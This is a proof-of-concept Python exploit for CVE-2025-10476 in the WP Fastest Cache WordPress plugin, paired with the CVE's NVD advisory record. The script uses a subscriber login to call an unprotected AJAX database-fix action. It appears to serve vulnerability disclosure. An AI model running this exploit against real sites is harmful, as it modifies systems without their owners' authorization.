CVE-2025-10476

import requests # CVE-2025-10476 PoC - WP Fastest Cache Privilege Escalation # Target: WordPress site with WP Fastest Cache Premium < 1.4.1 target_url = "https://target-site.com/wp-admin/admin-ajax.php" # Authenticated session with subscriber-level account session = requests.Session() # Login as subscriber (low-privilege user) login_data = { "log": "subscriber_username", "pwd": "subscriber_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } # Set cookies after login session.post("https://target-site.com/wp-login.php", data=login_data) # Exploit: Call wpfc_db_fix_callback without privilege check # This triggers database fix operations with subscriber privileges payload = { "action": "wpfc_db_fix_callback", "wpfc_db_fix_type": "optimize" # or other fix types } response = session.post(target_url, data=payload) print(f"Status: {response.status_code}") print(f"Response: {response.text}")

{"cve": {"id": "CVE-2025-10476", "sourceIdentifier": "[email protected]", "published": "2025-11-27T11:15:45.863", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Fastest Cache plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the wpfc_db_fix_callback() function in all versions up to, and including, 1.4.0. This makes it possible for authenticated attackers, with Subscriber-level access and above, to initiate several database fix actions. This only affects sites with premium activated."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?old_path=/wp-fastest-cache/tags/1.4.0&new_path=/wp-fastest-cache/tags/1.4.1&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-10476", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c24cf4de-1392-43a8-85a5-8c66c00c44d7?source=cve", "source": "[email protected]"}]}}